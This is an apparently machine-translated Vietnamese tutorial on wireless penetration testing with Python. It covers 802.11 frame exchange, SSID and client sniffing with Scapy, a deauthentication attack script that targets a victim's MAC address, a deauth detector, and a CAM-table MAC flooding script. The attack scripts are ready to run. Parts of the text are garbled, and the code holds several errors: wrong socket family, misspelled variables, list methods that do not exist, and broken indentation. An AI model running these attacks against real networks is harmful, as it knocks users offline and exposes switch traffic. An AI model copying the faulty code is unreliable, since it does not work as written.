Ngũ hành của mạng không dây

Hệ thống không dây đi kèm với rất nhiều tính linh hoạt nhưng mặt khác, nó cũng dẫn đến các vấn đề bảo mật nghiêm trọng. Và, làm thế nào để điều này trở thành một vấn đề bảo mật nghiêm trọng - bởi vì những kẻ tấn công, trong trường hợp kết nối không dây, chỉ cần có sẵn tín hiệu để tấn công chứ không cần có quyền truy cập vật lý như trong trường hợp mạng có dây. Kiểm tra thâm nhập của các hệ thống không dây là một nhiệm vụ dễ dàng hơn so với thực hiện điều đó trên mạng có dây. Chúng tôi không thể thực sự áp dụng các biện pháp bảo mật vật lý tốt đối với phương tiện không dây, nếu chúng tôi ở đủ gần, chúng tôi sẽ có thể "nghe thấy" (hoặc ít nhất là bộ điều hợp không dây của bạn có thể nghe thấy) mọi thứ đang truyền qua không khí.

Điều kiện tiên quyết

Trước khi bắt đầu tìm hiểu thêm về việc dồn nén mạng không dây, chúng ta hãy xem xét thảo luận về các thuật ngữ và quá trình giao tiếp giữa máy khách và hệ thống không dây.

Các thuật ngữ quan trọng

Bây giờ chúng ta hãy tìm hiểu các thuật ngữ quan trọng liên quan đến việc dồn nén mạng không dây.

Điểm truy cập (AP)

Điểm truy cập (AP) là nút trung tâm trong việc triển khai không dây 802.11. Điểm này được sử dụng để kết nối người dùng với những người dùng khác trong mạng và cũng có thể là điểm kết nối giữa mạng LAN không dây (WLAN) và mạng dây cố định. Trong mạng WLAN, AP là một trạm truyền và nhận dữ liệu.

Mã định danh nhóm dịch vụ (SSID)

Nó là chuỗi văn bản dài 0-32 byte con người có thể đọc được, về cơ bản là tên được gán cho mạng không dây. Tất cả các thiết bị trong mạng phải sử dụng tên phân biệt chữ hoa chữ thường này để giao tiếp qua mạng không dây (Wi-Fi).

Nhận dạng nhóm dịch vụ cơ bản (BSSID)

Đây là địa chỉ MAC của chipset Wi-Fi chạy trên điểm truy cập không dây (AP). Nó được tạo ra một cách ngẫu nhiên.

Số kênh

Nó đại diện cho dải tần số vô tuyến được Access Point (AP) sử dụng để truyền.

Giao tiếp giữa máy khách và hệ thống không dây

Một điều quan trọng khác mà chúng ta cần hiểu là quá trình giao tiếp giữa máy khách và hệ thống không dây. Với sự trợ giúp của sơ đồ sau, chúng ta có thể hiểu như vậy -

Khung Beacon

Trong quá trình giao tiếp giữa máy khách và điểm truy cập, AP định kỳ gửi một khung báo hiệu để hiển thị sự hiện diện của nó. Khung này đi kèm với thông tin liên quan đến SSID, BSSID và số kênh.

Yêu cầu thăm dò

Bây giờ, thiết bị khách sẽ gửi yêu cầu thăm dò để kiểm tra các AP trong phạm vi. Sau khi gửi yêu cầu thăm dò, nó sẽ đợi phản hồi thăm dò từ AP. Yêu cầu thăm dò chứa thông tin như SSID của AP, thông tin cụ thể của nhà cung cấp, v.v.

Phản hồi thăm dò

Bây giờ, sau khi nhận được yêu cầu thăm dò, AP sẽ gửi một phản hồi thăm dò, trong đó có thông tin như tốc độ dữ liệu được hỗ trợ, khả năng, v.v.

Yêu cầu xác thực

Bây giờ, thiết bị khách sẽ gửi một khung yêu cầu xác thực chứa danh tính của nó.

Phản hồi xác thực

Bây giờ để phản hồi, AP sẽ gửi một khung phản hồi xác thực cho biết chấp nhận hoặc từ chối.

Yêu cầu của Hiệp hội

Khi xác thực thành công, thiết bị khách đã gửi một khung yêu cầu liên kết chứa tốc độ dữ liệu được hỗ trợ và SSID của AP.

Hiệp hội phản hồi

Bây giờ để phản hồi, AP sẽ gửi một khung phản hồi liên kết cho biết chấp nhận hoặc từ chối. ID liên kết của thiết bị khách sẽ được tạo trong trường hợp chấp nhận.

Tìm mã nhận dạng nhóm dịch vụ không dây (SSID) bằng Python

Chúng ta có thể thu thập thông tin về SSID với sự trợ giúp của phương pháp cổng thô cũng như bằng cách sử dụng thư viện Scapy.

Phương pháp ổ cắm thô

Chúng tôi đã học được rằng mon0bắt các gói không dây; vì vậy, chúng ta cần đặt chế độ màn hình thànhmon0. Trong Kali Linux, nó có thể được thực hiện với sự trợ giúp củaairmon-ngkịch bản. Sau khi chạy tập lệnh này, nó sẽ đặt tên cho thẻ không dâywlan1. Bây giờ với sự trợ giúp của lệnh sau, chúng ta cần bật chế độ giám sát trênmon0 -

airmon-ng start wlan1

Sau đây là phương thức cổng thô, tập lệnh Python, sẽ cung cấp cho chúng ta SSID của AP -

Trước hết, chúng ta cần nhập các mô-đun ổ cắm như sau:

import socket

Bây giờ, chúng ta sẽ tạo một ổ cắm có ba tham số. Tham số đầu tiên cho chúng ta biết về giao diện gói (PF_PACKET cho Linux cụ thể và AF_INET cho windows), tham số thứ hai cho chúng ta biết nó có phải là một ổ cắm thô hay không và tham số thứ ba cho chúng ta biết rằng chúng ta quan tâm đến tất cả các gói.

s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket. htons(0x0003))

Bây giờ, dòng tiếp theo sẽ ràng buộc mon0 chế độ và 0x0003.

s.bind(("mon0", 0x0003))

Bây giờ, chúng ta cần khai báo một danh sách trống, danh sách này sẽ lưu trữ SSID của các AP.

ap_list = []

Bây giờ, chúng ta cần gọi recvfrom()phương thức nhận gói tin. Để tiếp tục đánh hơi, chúng ta sẽ sử dụng vòng lặp while vô hạn.

while True:
   packet = s.recvfrom(2048)

Dòng mã tiếp theo cho biết nếu khung 8 bit cho biết khung báo hiệu.

if packet[26] == "\x80" :
   if packetkt[36:42] not in ap_list and ord(packetkt[63]) > 0:
      ap_list.add(packetkt[36:42])
      
print("SSID:",(pkt[64:64+ord(pkt[63])],pkt[36:42].encode('hex')))

Trình dò ​​tìm SSID với Scapy

Scapy là một trong những thư viện tốt nhất có thể cho phép chúng ta dễ dàng dò tìm các gói Wi-Fi. Bạn có thể tìm hiểu chi tiết về Scapy tạihttps://scapy.readthedocs.io/en/latest/. Để bắt đầu, hãy chạy Sacpy ở chế độ tương tác và sử dụng lệnh conf để nhận giá trị của iface. Giao diện mặc định là eth0. Bây giờ khi chúng ta có mái vòm ở trên, chúng ta cần thay đổi chế độ này thành mon0. Nó có thể được thực hiện như sau:

>>> conf.iface = "mon0"
>>> packets = sniff(count = 3)
>>> packets

<Sniffed: TCP:0 UDP:0 ICMP:0 Other:5>
>>> len(packets)
3

Bây giờ chúng ta hãy nhập Scapy làm thư viện. Hơn nữa, việc thực thi tập lệnh Python sau sẽ cung cấp cho chúng ta SSID -

from scapy.all import *

Bây giờ, chúng ta cần khai báo một danh sách trống sẽ lưu trữ SSID của các AP.

ap_list = []

Bây giờ chúng ta sẽ định nghĩa một hàm có tên Packet_info(), sẽ có logic phân tích gói hoàn chỉnh. Nó sẽ có đối số pkt.

def Packet_info(pkt) :

Trong câu lệnh tiếp theo, chúng tôi sẽ áp dụng một bộ lọc sẽ chỉ vượt qua Dot11lưu lượng có nghĩa là lưu lượng 802.11. Dòng theo sau cũng là một bộ lọc, vượt qua lưu lượng có loại khung 0 (đại diện cho khung quản lý) và loại phụ của khung là 8 (đại diện cho khung báo hiệu).

if pkt.haslayer(Dot11) :
   if ((pkt.type == 0) & (pkt.subtype == 8)) :
      if pkt.addr2 not in ap_list :
         ap_list.append(pkt.addr2)
         print("SSID:", (pkt.addr2, pkt.info))

Bây giờ, chức năng đánh hơi sẽ kiểm tra dữ liệu với iface giá trị mon0 (đối với các gói không dây) và gọi Packet_info chức năng.

sniff(iface = "mon0", prn = Packet_info)

Để triển khai các tập lệnh Python ở trên, chúng tôi cần thẻ Wi-Fi có khả năng đánh hơi không khí bằng chế độ giám sát.

Phát hiện khách hàng điểm truy cập

Để phát hiện khách hàng của các điểm truy cập, chúng ta cần nắm bắt khung yêu cầu thăm dò. Chúng tôi có thể làm điều đó giống như chúng tôi đã làm trong tập lệnh Python cho trình đánh giá SSID bằng cách sử dụng Scapy. Chúng ta cần phải choDot11ProbeReqđể chụp khung yêu cầu thăm dò. Sau đây là tập lệnh Python để phát hiện khách hàng của các điểm truy cập:

from scapy.all import *

probe_list = []

ap_name= input(“Enter the name of access point”)

def Probe_info(pkt) :
   if pkt.haslayer(Dot11ProbeReq) :
      client_name = pkt.info
      
      if client_name == ap_name :
         if pkt.addr2 not in Probe_info:
            Print(“New Probe request--”, client_name)
            Print(“MAC is --”, pkt.addr2)
            Probe_list.append(pkt.addr2)
            
sniff(iface = "mon0", prn = Probe_info)

Tấn công không dây

Từ quan điểm của một pentester, điều rất quan trọng là phải hiểu một cuộc tấn công không dây diễn ra như thế nào. Trong phần này, chúng ta sẽ thảo luận về hai loại tấn công không dây -

  • Các cuộc tấn công hủy xác thực (deauth)

  • Cuộc tấn công ngập lụt MAC

Các cuộc tấn công hủy xác thực (deauth)

Trong quá trình giao tiếp giữa thiết bị khách và điểm truy cập bất cứ khi nào khách hàng muốn ngắt kết nối, nó cần gửi khung khử xác thực. Đáp lại khung đó từ máy khách, AP cũng sẽ gửi một khung khử xác thực. Kẻ tấn công có thể có được lợi thế từ quá trình bình thường này bằng cách giả mạo địa chỉ MAC của nạn nhân và gửi khung xác thực tới AP. Do đó, kết nối giữa máy khách và AP bị ngắt. Sau đây là tập lệnh Python để thực hiện cuộc tấn công khử xác thực:

Đầu tiên chúng ta hãy nhập Scapy làm thư viện -

from scapy.all import *
import sys

Hai câu lệnh sau sẽ nhập địa chỉ MAC của AP và nạn nhân tương ứng.

BSSID = input("Enter MAC address of the Access Point:- ")
vctm_mac = input("Enter MAC address of the Victim:- ")

Bây giờ, chúng ta cần tạo khung khử xác thực. Nó có thể được tạo bằng cách thực hiện câu lệnh sau.

frame = RadioTap()/ Dot11(addr1 = vctm_mac, addr2 = BSSID, addr3 = BSSID)/ Dot11Deauth()

Dòng mã tiếp theo đại diện cho tổng số gói được gửi đi; ở đây nó là 500 và khoảng thời gian giữa hai gói.

sendp(frame, iface = "mon0", count = 500, inter = .1)

Đầu ra

Khi thực hiện, lệnh trên tạo ra kết quả sau:

Enter MAC address of the Access Point:- (Here, we need to provide the MAC address of AP)
Enter MAC address of the Victim:- (Here, we need to provide the MAC address of the victim)

Tiếp theo là việc tạo khung deauth, khung này được gửi đến điểm truy cập thay mặt cho khách hàng. Điều này sẽ làm cho kết nối giữa chúng bị hủy bỏ.

Câu hỏi ở đây là làm cách nào để chúng tôi phát hiện cuộc tấn công deauth với tập lệnh Python. Việc thực thi tập lệnh Python sau sẽ giúp phát hiện các cuộc tấn công như vậy:

from scapy.all import *
i = 1

def deauth_frame(pkt):
   if pkt.haslayer(Dot11):
      if ((pkt.type == 0) & (pkt.subtype == 12)):
         global i
         print ("Deauth frame detected: ", i)
         i = i + 1
   sniff(iface = "mon0", prn = deauth_frame)

Trong đoạn mã trên, câu lệnh pkt.subtype == 12 chỉ ra khung deauth và biến I được định nghĩa toàn cục cho biết về số lượng gói.

Đầu ra

Việc thực thi tập lệnh trên tạo ra kết quả sau:

Deauth frame detected: 1
Deauth frame detected: 2
Deauth frame detected: 3
Deauth frame detected: 4
Deauth frame detected: 5
Deauth frame detected: 6

Các cuộc tấn công tràn ngập địa chỉ MAC

Tấn công làm ngập địa chỉ MAC (tấn công làm ngập bảng CAM) là một kiểu tấn công mạng trong đó kẻ tấn công kết nối với cổng chuyển mạch làm ngập giao diện chuyển mạch với số lượng rất lớn các khung Ethernet với các địa chỉ MAC nguồn giả khác nhau. Tràn bảng CAM xảy ra khi dòng địa chỉ MAC tràn vào bảng và đạt đến ngưỡng bảng CAM. Điều này khiến bộ chuyển mạch hoạt động giống như một trung tâm, làm ngập mạng với lưu lượng truy cập ở tất cả các cổng. Các cuộc tấn công như vậy rất dễ phát động. Tập lệnh Python sau giúp khởi chạy cuộc tấn công tràn ngập CAM như vậy:

from scapy.all import *

def generate_packets():
packet_list = []
for i in xrange(1,1000):
packet = Ether(src = RandMAC(), dst = RandMAC())/IP(src = RandIP(), dst = RandIP())
packet_list.append(packet)
return packet_list

def cam_overflow(packet_list):
   sendp(packet_list, iface='wlan')

if __name__ == '__main__':
   packet_list = generate_packets()
   cam_overflow(packet_list)

Mục đích chính của kiểu tấn công này là kiểm tra tính bảo mật của công tắc. Chúng ta cần sử dụng bảo mật cổng nếu muốn giảm bớt ảnh hưởng của cuộc tấn công tràn ngập MAC.